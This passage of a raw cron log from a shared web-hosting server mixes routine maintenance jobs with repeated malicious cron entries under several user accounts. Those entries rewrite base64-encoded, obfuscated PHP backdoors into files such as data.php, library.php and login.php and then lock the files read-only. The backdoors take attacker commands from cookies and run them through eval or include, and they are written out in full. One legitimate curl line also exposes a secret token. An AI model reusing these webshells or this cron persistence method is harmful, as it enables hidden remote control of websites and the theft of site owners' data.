NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:45:02 medusa CROND[16467]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:45:02 medusa CROND[16469]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:45:02 medusa CROND[16474]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:45:02 medusa CROND[16477]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16483]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:45:02 medusa CROND[16485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:45:02 medusa CROND[16488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:45:02 medusa CROND[16487]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:45:02 medusa CROND[16481]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:45:02 medusa CROND[16495]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:45:02 medusa CROND[16497]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:45:02 medusa CROND[16498]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:45:02 medusa CROND[16473]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16532]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:46:02 medusa CROND[8571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:46:02 medusa CROND[8573]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:46:02 medusa CROND[8574]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:46:02 medusa CROND[8572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:46:02 medusa CROND[8575]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:46:02 medusa CROND[8576]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:46:02 medusa CROND[8577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:46:02 medusa CROND[8587]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:46:02 medusa CROND[8591]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:46:02 medusa CROND[8595]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:46:02 medusa CROND[8598]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:46:02 medusa CROND[8600]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:46:02 medusa CROND[8602]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:46:02 medusa CROND[8609]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:46:02 medusa CROND[8597]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:47:01 medusa CROND[32252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:47:01 medusa CROND[32253]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 18:47:01 medusa CROND[32255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:47:01 medusa CROND[32256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:47:01 medusa CROND[32257]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
